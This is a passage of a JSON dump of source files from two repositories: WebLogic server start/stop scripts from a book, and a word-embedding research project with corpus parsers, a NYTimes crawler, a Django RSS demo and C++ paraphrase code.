\"8679bdccf08a5805711b86664f86a18d315c6d71\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 227,\n \"license_type\": \"permissive\",\n \"max_line_length\": 72,\n \"num_lines\": 6,\n \"path\": \"/chapter3/Scripts/unix_linux/8.1/startAdmin.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"SERVER_NAME=816Admin\\nDOMAIN_HOME=/app/wls/wls816/domains/v816domain\\nLOG_DIR=$DOMAIN_HOME/logs\\n\\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\\nnohup ./startWebLogic.sh > $LOG_DIR/$SERVER_NAME.out 2>&1 &\"\n },\n {\n \"alpha_fraction\": 0.8507462739944458,\n \"alphanum_fraction\": 0.8507462739944458,\n \"avg_line_length\": 67,\n \"blob_id\": \"8cc4441defaf3df6e0b68d81ccd2fca4b16103df\",\n \"content_id\": \"0ebb08a904cbbe581bb9e8cea9be1246bc9e40ba\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 67,\n \"license_type\": \"permissive\",\n \"max_line_length\": 67,\n \"num_lines\": 1,\n \"path\": \"/chapter3/Scripts/unix_linux/NodeManager/wlst/startNM.py\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"startNodeManager(verbose='true', NodeManagerHome=node_manager_home)\"\n },\n {\n \"alpha_fraction\": 0.6529126167297363,\n \"alphanum_fraction\": 0.737864077091217,\n \"avg_line_length\": 40.29999923706055,\n \"blob_id\": \"1ed18591f93462adda5bff709993a8c640dd0971\",\n \"content_id\": \"f11fa57002bf023e2ac25aaf5f0a6ddaecea13cf\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 412,\n \"license_type\": \"permissive\",\n \"max_line_length\": 106,\n \"num_lines\": 10,\n \"path\": \"/chapter3/Scripts/unix_linux/9.0~12.1.2/startM1.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"SERVER_NAME=Managed01\\nDOMAIN_HOME=/app/wls/wls1036/domains/v1036domain\\nLOG_DIR=$DOMAIN_HOME/logs\\n\\nexport USER_MEM_ARGS=\\\"-D$SERVER_NAME -Xms512m -Xmx512m -XX:MaxPermSize=256m\\\"\\nexport EXT_PRE_CLASSPATH=\\\"\\\"\\nexport EXT_POST_CLASSPATH=\\\"\\\"\\n\\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\\nnohup ./bin/startManagedWebLogic.sh $SERVER_NAME t3://192.168.0.33:7001 > $LOG_DIR/$SERVER_NAME.out 2>&1 &\"\n },\n {\n \"alpha_fraction\": 0.7873753905296326,\n \"alphanum_fraction\": 0.7873753905296326,\n \"avg_line_length\": 36.75,\n \"blob_id\": \"1fd0d134654beb4411c59251ec39ecdd3f34cf03\",\n \"content_id\": \"bc904637ec640864f41fe2d6135688e733357539\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 301,\n \"license_type\": \"permissive\",\n \"max_line_length\": 156,\n \"num_lines\": 8,\n \"path\": \"/chapter3/Scripts/windows/NodeManager/wlst/startAdmin.py\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print 'CONNECT TO NODE MANAGER';\\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\\n\\nprint 'START ADMIN SERVER';\\nnmStart(admin_server_name);\\n\\nprint 'DISCONNECT FROM NODE MANAGER';\\nnmDisconnect();\"\n },\n {\n \"alpha_fraction\": 0.7544426321983337,\n \"alphanum_fraction\": 0.7576736807823181,\n \"avg_line_length\": 37.75,\n \"blob_id\": \"35e0483b6f5d07fd59cfc5eb843e053fff2a12be\",\n \"content_id\": \"ccd3d2b2c06473646e36c4a8b6964aad0f09718b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 619,\n \"license_type\": \"permissive\",\n \"max_line_length\": 156,\n \"num_lines\": 16,\n \"path\": \"/chapter3/Scripts/unix_linux/NodeManager/wlst/startM1.py\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"admin_server_url='t3://' + admin_server_listen_address + ':' + admin_server_listen_port;\\n\\nprint 'CONNECT TO ADMIN SERVER';\\nconnect(admin_username, admin_password, admin_server_url);\\n\\nprint 'CONNECT TO NODE MANAGER';\\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\\n\\nprint 'START MANAGED SERVER';\\nnmStart(managed_server_name1);\\n\\nprint 'DISCONNECT FROM NODE MANAGER ON ' + node_manager_listen_address + ':' + repr(node_manager_listen_port);\\nnmDisconnect();\\n\\nprint 'DISCONNECT FROM THE ADMIN SERVER';\\ndisconnect();\"\n },\n {\n \"alpha_fraction\": 0.6949999928474426,\n \"alphanum_fraction\": 0.75,\n \"avg_line_length\": 49,\n \"blob_id\": \"63403b1de99c8dea3165eb71b73178f64a11f04a\",\n \"content_id\": \"1003f6ba772df21909b0c8f7570af9bd85aead69\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 240,\n \"license_type\": \"permissive\",\n \"max_line_length\": 95,\n \"num_lines\": 4,\n \"path\": \"/README.md\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# weblogic-expert\\n설치에서 트러블슈팅까지 웹로직의 모든 것 - WebLogic Expert ([링크](http://www.acornpub.co.kr/book/weblogic-expert))\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.75,\n \"alphanum_fraction\": 0.7596899271011353,\n \"avg_line_length\": 38.769229888916016,\n \"blob_id\": \"d631a8f91e1d123f7fa69687db969258e052e206\",\n \"content_id\": \"522712998f8be06d401d6f7816fbf783976d845b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 516,\n \"license_type\": \"permissive\",\n \"max_line_length\": 156,\n \"num_lines\": 13,\n \"path\": \"/chapter3/Scripts/unix_linux/NodeManager/wlst/stopAdmin.py\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"admin_server_url='t3://' + admin_server_listen_address + ':' + admin_server_listen_port;\\n\\nprint 'CONNECT TO ADMIN SERVER';\\nconnect(admin_username, admin_password, admin_server_url);\\n\\nprint 'CONNECT TO NODE MANAGER';\\nnmConnect(node_manager_username, node_manager_password, node_manager_listen_address, node_manager_listen_port, domain_name, domain_home, node_manager_type);\\n\\nprint 'STOPPING ADMIN SERVER';\\nshutdown(admin_server_name,'Server','true',1000,'true');\\n\\nprint 'DISCONNECT FROM NODE MANAGER';\\nnmDisconnect();\"\n },\n {\n \"alpha_fraction\": 0.6739726066589355,\n \"alphanum_fraction\": 0.7369862794876099,\n \"avg_line_length\": 35.599998474121094,\n \"blob_id\": \"1a3c7f160c9dfc6989151d61acfbf336856ed183\",\n \"content_id\": \"3bdfecd5ff6b069565d7cecc12e065e6681f9816\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 365,\n \"license_type\": \"permissive\",\n \"max_line_length\": 76,\n \"num_lines\": 10,\n \"path\": \"/chapter3/Scripts/unix_linux/9.0~12.1.2/startAdmin.sh\",\n \"repo_name\": \"Great-Stone/weblogic-expert\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"SERVER_NAME=1036Admin\\nDOMAIN_HOME=/app/wls/wls1036/domains/v1036domain\\nLOG_DIR=$DOMAIN_HOME/logs\\n\\nexport USER_MEM_ARGS=\\\"-D$SERVER_NAME -Xms512m -Xmx512m -XX:MaxPermSize=256m\\\"\\nexport EXT_PRE_CLASSPATH=\\\"\\\"\\nexport EXT_POST_CLASSPATH=\\\"\\\"\\n\\nmv $LOG_DIR/$SERVER_NAME.out $LOG_DIR/$SERVER_NAME.`date +'%m%d_%H%M%S'`\\nnohup ./startWebLogic.sh > $LOG_DIR/$SERVER_NAME.out 2>&1 &\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":18,"string":"18"}}},{"rowIdx":2984088,"cells":{"repo_name":{"kind":"string","value":"zbhno37/srwe"},"repo_url":{"kind":"string","value":"https://github.com/zbhno37/srwe"},"snapshot_id":{"kind":"string","value":"787f9b2d21086ba7f773addb5f5c78a2bd29a1e0"},"revision_id":{"kind":"string","value":"01bbdd9aa76adc4b028e1821a7284680480fc297"},"directory_id":{"kind":"string","value":"2a6c9b9937aadbef02b6402da15aa6ed1ce53e94"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T01:43:21.703713","string":"2021-01-10T01:43:21.703713"},"revision_date":{"kind":"timestamp","value":"2016-03-13T02:24:13","string":"2016-03-13T02:24:13"},"committer_date":{"kind":"timestamp","value":"2016-03-13T02:24:13","string":"2016-03-13T02:24:13"},"github_id":{"kind":"number","value":47951357,"string":"47,951,357"},"star_events_count":{"kind":"number","value":2,"string":"2"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5625473856925964,"alphanum_fraction":0.5807430148124695,"avg_line_length":30.404762268066406,"blob_id":"8ff0e8e39126621f7267f102cdc3c262afc13c59","content_id":"0189e2c0d78616dd1c910d67e31dee7b6c12ab57","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1319,"license_type":"no_license","max_line_length":77,"num_lines":42,"path":"/gen_data/parse_wiki.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"#coding=utf-8\nimport logging\nfrom gensim.corpora import WikiCorpus\nfrom collections import defaultdict\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\n\ndef parse_wiki(filename):\n fout = file('../../paper/data/wiki/wiki_corpus', 'w')\n wiki = WikiCorpus(filename, lemmatize=False, dictionary={}, processes=5)\n count = 0\n for text in wiki.get_texts():\n fout.write('%s\\n' % ' '.join(text))\n if count % 10000 == 0:\n logging.info(count)\n count += 1\n\n fout.close()\n logging.info('Finish %d' % count)\n\ndef word_freq(filename):\n fout = file('../../paper/data/wiki/wiki_corpus.vocab', 'w')\n freq = defaultdict(lambda: 0)\n count = 0\n with open(filename) as fin:\n for line in fin:\n words = line.strip().split(' ')\n for word in words:\n freq[word] += 1\n if count % 10000 == 0:\n logging.info(count)\n count += 1\n sorted_words = sorted(freq.items(), key=lambda x:x[1], reverse=True)\n for item in sorted_words:\n fout.write('%s\\t%s\\n' % (item[0], item[1]))\n fout.close()\n\ndef main():\n #parse_wiki('../../paper/data/wiki/enwiki-latest-pages-articles.xml.bz2')\n word_freq('../../paper/data/wiki/wiki_corpus')\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.4976470470428467,"alphanum_fraction":0.5168627500534058,"avg_line_length":27.0219783782959,"blob_id":"13bea97d38ae26b578cf32441bc1227c78eb19f0","content_id":"0b9fa15163009311d9283127647607b741229624","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2550,"license_type":"no_license","max_line_length":85,"num_lines":91,"path":"/src/utils.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import heapq\nimport math\nimport numpy as np\nimport scipy.spatial\n\ndef similarity(v1, v2):\n inner = sum([v1[i] * v2[i] for i in range(len(v1))])\n sum1 = math.sqrt(sum([v1[i] * v1[i] for i in range(len(v1))]))\n sum2 = math.sqrt(sum([v2[i] * v2[i] for i in range(len(v2))]))\n if sum1 == 0 or sum2 == 0:\n return -1\n return inner * 1.0 / (sum1 * sum2)\n\ndef similarity_numpy(v1, v2):\n return 1 - scipy.spatial.distance.cosine(v1, v2)\n\nclass MinSizeHeap:\n def __init__(self, size):\n self.size = size\n self.arr = []\n heapq.heapify(self.arr)\n\n def push(self, item):\n if len(self.arr) > self.size:\n top = self.arr[0]\n if top[0] < item[0]:\n heapq.heappop(self.arr)\n heapq.heappush(self.arr, item)\n else:\n heapq.heappush(self.arr, item)\n\n def pop(self):\n return heapq.heappop(self.arr)\n\n def sort(self):\n self.arr.sort(reverse=True)\n\n def extend(self, arr):\n #format\n #[(value, title), ...]\n for each in arr:\n self.push(each)\n\n def clear(self):\n del self.arr[:]\n\n def get(self):\n return self.arr\n\ndef load_w2v_model(model_file, logging = None, nparray = False):\n model = {}\n total = 0\n vector_size = 0\n with open(model_file) as fin:\n total, vector_size = map(lambda x: int(x), fin.readline().strip().split(' '))\n if logging:\n logging.info('load vector from: %s' % model_file)\n logging.info('total:%d, vector_size:%d' % (total, vector_size))\n count = 0\n for line in fin:\n line = line.strip().split(' ')\n vec = map(lambda x: float(x), line[1:])\n model[line[0]] = np.array(vec) if nparray else vec\n if count % 10000 == 0 and logging:\n logging.info('loading %d / %d\\r' % (count, total))\n count += 1\n return model\n\ndef is_version(s):\n try:\n float(s)\n return True\n except:\n arr = s.strip().split('.')\n for seg in arr:\n seg = seg.decode('utf-8')\n if not (seg.isdigit() or seg == 'x' or seg == 'X'):\n return False\n return True\n\ndef load_wiki_dict(filename):\n # word \\t freq\n word_set = {}\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if int(arr[1]) >= 3:\n #word_set.add(arr[0])\n word_set[arr[0]] = int(arr[1])\n else: break\n return word_set\n"},{"alpha_fraction":0.5360946655273438,"alphanum_fraction":0.55266273021698,"avg_line_length":29.178571701049805,"blob_id":"0323c2a26034c0a6c89c11e0b188a5513700b76f","content_id":"ea1b95dcb61cad4937cb261921169daba99261cb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1690,"license_type":"no_license","max_line_length":96,"num_lines":56,"path":"/src/find_similarity.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import heapq\nimport logging\nfrom utils import *\n\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\n\ndef find_most_similarity(word, model):\n heap = MinSizeHeap(20)\n for w in model:\n if word == w: continue\n heap.push((similarity(model[word], model[w]), w))\n heap.sort()\n return heap.arr\n\ndef find_most_similarity_vector(vector, model):\n heap = MinSizeHeap(20)\n for w in model:\n heap.push((similarity(vector, model[w]), w))\n heap.sort()\n return heap.arr\n\ndef main():\n model = load_w2v_model('../../paper/data/srwe_model/wiki_small.w2v.r.0.0005.model', logging)\n while True:\n query = raw_input('input query word:\\n')\n if not query:\n continue\n # words similarity\n #arr = query.strip().split(' ')\n #if len(arr) != 2: continue\n #w1, w2 = arr\n #if w1 not in model or w2 not in model:\n #continue\n #print '%s,%s:%lf' % (w1, w2, similarity(model[w1], model[w2]))\n\n # top similarity words\n #if query not in model:\n #print '%s not in vocab.' % query\n #continue\n #res = find_most_similarity(query, model)\n #for sim, word in res:\n #print '%s\\t%lf' % (word, sim)\n\n #relation query\n arr = query.strip().split(' ')\n if len(arr) != 2: continue\n w1, w2 = arr\n if w1 not in model or w2 not in model:\n continue\n h_r = [model[w1][i] + model[w2][i] for i in range(len(model[w1]))]\n res = find_most_similarity_vector(h_r, model)\n for sim, word in res:\n print '%s\\t%lf' % (word, sim)\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.6453201770782471,"alphanum_fraction":0.6674876809120178,"avg_line_length":24.375,"blob_id":"381604b765f4a8e4fdbae9e9d74f5ec0773acebe","content_id":"329eec9882a005a6933c87e8ae85d2727c2b896c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Makefile","length_bytes":406,"license_type":"no_license","max_line_length":93,"num_lines":16,"path":"/src/makefile","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"CC = g++\n#The -Ofast might not work with older versions of gcc; in that case, use -O2\nCFLAGS = -lm -pthread -Ofast -march=native -Wall -funroll-loops -Wno-unused-result -std=c++11\n\nOBJS = Paraphrase.o\n\nall: word2vec_joint\n\n%.o : %.cpp\n\t$(CC) -c $< -o $@ $(CFLAGS)\n\nword2vec_joint : word2vec_joint.cpp $(OBJS)\n\t$(CC) word2vec_joint.cpp $(OBJS) -o word2vec_joint $(CFLAGS)\n\nclean:\n\trm -rf word2vec_joint *.o\n"},{"alpha_fraction":0.4862385392189026,"alphanum_fraction":0.4969418942928314,"avg_line_length":35.33333206176758,"blob_id":"a42255df30b80e6e71014ae011e1878e51859b7c","content_id":"ff09bc4a192c6f66b78ae973972f6328086f51e8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":654,"license_type":"no_license","max_line_length":110,"num_lines":18,"path":"/evaluation/parse_topic_prediction_res.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import sys\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print 'argv error'\n print 'argv: filename'\n filename = sys.argv[1]\n with open(filename) as fin:\n while True:\n line = fin.readline()\n if not line: break\n\n if line.startswith('topic') or line.startswith('total'):\n topic = line.strip() if line.startswith('total') else line.strip().split(',')[0].split(':')[1]\n line = fin.readline()\n arr = line.strip().split(',')\n precision = float(arr[-1].strip().split(':')[-1])\n print '%s\\t%.4lf' % (topic, precision)\n"},{"alpha_fraction":0.47486695647239685,"alphanum_fraction":0.4861029088497162,"avg_line_length":37.431819915771484,"blob_id":"02b584867668b06a952425cd1f733c871481bdb0","content_id":"ab9a542c5a1e1a72ca63e38ee541b135a9e725da","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1691,"license_type":"no_license","max_line_length":101,"num_lines":44,"path":"/gen_data/parse_nytimes.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import os, sys\nimport datetime\nimport lxml.etree\n\ndef log(logstr, writer = sys.stdout, inline = False):\n writer.write(\"%s\\t%s%s\" % (str(datetime.datetime.now()), logstr, '\\r' if inline else '\\n'))\n writer.flush()\n\nBASE_DIR = '/home/zhangbaihan/Downloads/nytimes/corpus/'\ndef parse_xml():\n fout = file('../../paper/data/nytimes/nytimes_content', 'w')\n year_list = os.listdir(BASE_DIR)\n count = 0\n for year in year_list:\n for month in range(1, 13):\n ms = '%02d' % month\n path = os.path.join(BASE_DIR, year, ms)\n if not os.path.isdir(path): continue\n days = os.listdir(path)\n for day in days:\n day_path = os.path.join(path, day)\n files = os.listdir(day_path)\n log(day_path)\n for f in files:\n full_path = os.path.join(day_path, f)\n doc = lxml.etree.parse(full_path)\n title = doc.xpath('//body.head')\n title_text = ''\n if len(title) != 0:\n title_text = '\\n'.join([x.strip() for x in title[0].itertext() if x.strip()])\n content = doc.xpath('//body.content')\n if len(content) == 0: continue\n text = '\\n'.join([x.strip() for x in content[0].itertext() if x.strip()])\n fout.write('%s\\n%s\\n' % (title_text.encode('utf-8'), text.encode('utf-8')))\n if count % 10000 == 0:\n log(count)\n count += 1\n fout.close()\n log('total:%d' % count)\ndef main():\n parse_xml()\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.8600000143051147,"alphanum_fraction":0.8600000143051147,"avg_line_length":49,"blob_id":"f2c7fc03eb4b408de80c6384467ec96924129620","content_id":"181bdd382777b2f4af40c8ff75099516f32e253a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":50,"license_type":"no_license","max_line_length":49,"num_lines":1,"path":"/README.md","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"This is Semantic-Relation Word Embeddings project\n"},{"alpha_fraction":0.5500552654266357,"alphanum_fraction":0.5655248761177063,"avg_line_length":32.51852035522461,"blob_id":"53394ec5264908282360d4229f4e90419300bc51","content_id":"2dd8523314f692279c78dbc6f215937465010a82","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4525,"license_type":"no_license","max_line_length":118,"num_lines":135,"path":"/gen_data/nytimes/crawler_nytimes.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport urllib2, cookielib\nimport lxml.html as H\nimport socket\nsocket.setdefaulttimeout(5)\nfrom time import sleep\nfrom datetime import datetime\nfrom Queue import Queue, Empty\nimport threading\nimport sys\n\nHOST = \"http://spiderbites.nytimes.com/\"\nXPATH_NEWS = '//ul[@id=\"headlines\"]/li/a/@href'\nXPATH_CATEGORY = '//meta[@property=\"article:section\"]/@content'\nXPATH_TITLE = '//meta[@property=\"og:title\"]/@content'\nXPATH_ABSTRACT = '//meta[@property=\"og:description\"]/@content'\nXPATH_DATE = '//meta[@property=\"article:published\"]/@content'\n\nclass Requester:\n UR_KEY = 'User-Agent'\n UR_VALUE = 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.65'\n\n def __init__(self, timeout = 5):\n self.timeout = timeout\n cj = cookielib.CookieJar()\n self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))\n\n def get(self, url):\n #req = urllib2.Request(url)\n #req.add_header(self.UR_KEY, self.UR_VALUE)\n #content = urllib2.urlopen(req, timeout=self.timeout).read()\n return self.opener.open(url).read()\n\n\ndef log(logstr, writer = sys.stdout):\n writer.write(\"%s\\t%s\\n\" % (str(datetime.now()), logstr))\n writer.flush()\n\ndef fetch_news_urls(filename):\n requester = Requester()\n fout = file('%s_news_url' % sys.argv[1], 'w')\n with open(filename) as fin:\n for line in fin:\n url = HOST + line.strip()\n print url\n html = requester.get(url)\n page = H.document_fromstring(html)\n news_node = page.xpath(XPATH_NEWS)\n for news in news_node:\n fout.write('%s\\n' % str(news))\n fout.close()\n\ndef load_list(filename):\n ls = []\n with open(filename) as fin:\n for line in fin:\n ls.append(line.strip())\n return ls\n\ndef dump_queue(queue):\n with open('queue_%s.dump' % sys.argv[1], 'w') as fout:\n while not queue.empty():\n item, count = queue.get(False)\n fout.write(item + '\\n')\n\n\ndef fetch_news_info_thread(requester, queue, index):\n fout = file('./%s_news_part/news.part.%d' % (sys.argv[1], index), 'a')\n ferr = file('./%s_news_part/news.err.part.%d' % (sys.argv[1], index), 'a')\n failure_count = 0\n while not queue.empty():\n try:\n url, count = queue.get(True, 30)\n if count > 10:\n log('REQ_ERROR:%s' % url, ferr)\n continue\n html = requester.get(url)\n log('%s\\tfetched' % url)\n page = H.document_fromstring(html)\n category = page.xpath(XPATH_CATEGORY)\n date = page.xpath(XPATH_DATE)\n title = page.xpath(XPATH_TITLE)\n abstract = page.xpath(XPATH_ABSTRACT)\n if len(category) < 1 or (len(title) < 1 and len(abstract) < 1): continue\n title_str = title[0].encode('utf-8') if len(title) > 0 else ''\n abstract_str = abstract[0].encode('utf-8') if len(abstract) > 0 else ''\n date_str = date[0].encode('utf-8') if len(date) > 0 else ''\n fout.write('%s\\t%s\\t%s\\t%s\\t%s\\n' % (url, category[0].encode('utf-8'), title_str, date_str, abstract_str))\n fout.flush()\n failure_count = 0\n except Empty:\n log('EMPTY:%d' % index, ferr)\n break\n except (urllib2.URLError, socket.timeout, socket.error, urllib2.HTTPError):\n queue.put((url, count + 1))\n failure_count += 1\n if failure_count == 10:\n log('TIMEOUT:%d' % index, ferr)\n sleep(10 * failure_count)\n elif failure_count >= 20:\n log('NETWORK_ERR:%d' % index, ferr)\n break\n log('Thread %s done' % index)\n fout.close()\n ferr.close()\n\ndef crawle_news_info():\n requester = Requester()\n queue = Queue()\n urls = load_list('./%s_news_url' % sys.argv[1])\n #urls = load_list('./queue.dump')\n log('urls to fetch:%s' % len(urls))\n for url in urls:\n queue.put((url, 1))\n threads = []\n for i in range(10):\n threads.append(threading.Thread(target=fetch_news_info_thread, args=(requester, queue, i)))\n for t in threads:\n t.start()\n for t in threads:\n t.join()\n\n if not queue.empty():\n dump_queue(queue)\n log('Finish')\n\ndef main():\n fetch_news_urls('./%s_url' % sys.argv[1])\n crawle_news_info()\n\nif __name__ == '__main__':\n if len(sys.argv) <= 1:\n log('argv error')\n exit(1)\n main()\n"},{"alpha_fraction":0.7063778638839722,"alphanum_fraction":0.720818281173706,"avg_line_length":30.961538314819336,"blob_id":"abd680d87f189b8ddbd50c554dc317f5761939f2","content_id":"57737df2a26d7f26cc21cf6240fcb5ad2eca2584","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":831,"license_type":"no_license","max_line_length":50,"num_lines":26,"path":"/demo/rss_news/rss/models.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"from django.db import models\n\n# Create your models here.\n\nclass RSSItem(models.Model):\n rss_id = models.AutoField(primary_key=True)\n url = models.CharField(max_length=200)\n update_time = models.DateTimeField()\n\nclass ClassItem(models.Model):\n class_id = models.AutoField(primary_key=True)\n title = models.CharField(max_length=200)\n\nclass Subscription(models.Model):\n subscr_id = models.AutoField(primary_key=True)\n rss_id = models.ForeignKey(RSSItem)\n\nclass News(models.Model):\n news_id = models.AutoField(primary_key=True)\n rss_id = models.ForeignKey(RSSItem)\n pub_time = models.DateTimeField()\n title = models.CharField(max_length=500)\n abstract = models.TextField()\n content = models.TextField()\n news_link = models.CharField(max_length=200)\n class_id = models.ForeignKey(ClassItem)\n"},{"alpha_fraction":0.7323186993598938,"alphanum_fraction":0.7341092228889465,"avg_line_length":31.823530197143555,"blob_id":"57b53bc58ccbedad62d6652205d86a2b32fd93d3","content_id":"685d1c07547e964f70639335c759fcda87d18c3f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1117,"license_type":"no_license","max_line_length":74,"num_lines":34,"path":"/demo/rss_news/rss/views.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"#coding=utf-8\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.shortcuts import render_to_response,redirect\nfrom django.template import RequestContext\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rss.models import RSSItem, ClassItem, Subscription, News\nimport time\n\ndef render_addrss(request):\n return render_to_response('addrss.html')\n\ndef render_addclass(request):\n return render_to_response('addclass.html')\n\n\n@csrf_exempt\ndef add_rss(request):\n url = request.POST.get('rss_url')\n if not url: return HttpResponse('RSS URL is empty.')\n new_rss = RSSItem(url=url, update_time=format_time(time.localtime(0)))\n new_rss.save()\n return HttpResponse('Add RSS URL successfully!')\n\n@csrf_exempt\ndef add_class(request):\n class_title = request.POST.get('class')\n if not class_title: return HttpResponse('class is empty.')\n new_class = ClassItem(title=class_title)\n new_class.save()\n #return HttpResponse('Add class successfully!')\n return render_to_response('addclass.html')\n\ndef format_time(secs):\n return time.strftime('%Y-%m-%d %H:%M:%S', secs)\n\n"},{"alpha_fraction":0.4875565469264984,"alphanum_fraction":0.506033182144165,"avg_line_length":23.33027458190918,"blob_id":"5274d15ba077f7cfdf8f375be41c927e0009b122","content_id":"f3ec0030f2a9201ea20ad25d9f686d14b11df0c5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2654,"license_type":"no_license","max_line_length":92,"num_lines":109,"path":"/src/Paraphrase.cpp","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"//\n// Paraphrase.cpp\n// word2vec\n//\n// Created by gflfof gflfof on 14-1-22.\n// Copyright (c) 2014年 hit. All rights reserved.\n//\n\n#include \"Paraphrase.h\"\n#include <sstream>\n\nvoid Paraphrase::InitList(string filename)\n{\n ifstream ifs(filename.c_str());\n char line_buf[1000];\n ifs.getline(line_buf, 1000, '\\n');\n while (strcmp(line_buf, \"\")) {\n istringstream iss(line_buf);\n string key; iss >> key;\n \n vector<string> val;\n pplist[key] = val;\n while (! iss.eof()) {\n string word; iss >> word;\n pplist[key].push_back(word);\n //iss >> word;\n }\n ifs.getline(line_buf, 1000, '\\n');\n }\n ifs.close();\n}\n\n/*\nvector<string>* Paraphrase::GetList(string word)\n{\n word2list::iterator iter = pplist.find(word);\n if (iter != pplist.end()) {\n return &iter->second;\n }\n else\n {\n return NULL;\n }\n}\n */\n\nvoid Paraphrase::GetList(string word, vector<string>& retlist)\n{\n retlist.clear();\n word2list::iterator iter = pplist.find(word);\n if (iter != pplist.end()) {\n retlist = iter->second;\n }\n}\n\nvoid Paraphrase2::InitDict(string filename)\n{\n ifstream ifs(filename.c_str());\n char line_buf[1000];\n ifs.getline(line_buf, 1000, '\\n');\n while (strcmp(line_buf, \"\")) {\n istringstream iss(line_buf);\n string key; iss >> key;\n word2dict::iterator iter = ppdict.find(key);\n if (iter == ppdict.end()) {\n word2int d;\n ppdict[key] = d;\n }\n\n while (! iss.eof()) {\n string word; iss >> word;\n word2int::iterator it_wi = ppdict[key].find(word);\n if (it_wi == ppdict[key].end()) {\n ppdict[key][word] = 1;\n }\n \n word2dict::iterator it_wd = ppdict.find(word);\n if (it_wd == ppdict.end()) {\n word2int d;\n ppdict[word] = d;\n ppdict[word][key] = 1;\n }\n else\n {\n it_wi = ppdict[word].find(key);\n if (it_wi == ppdict[word].end()) 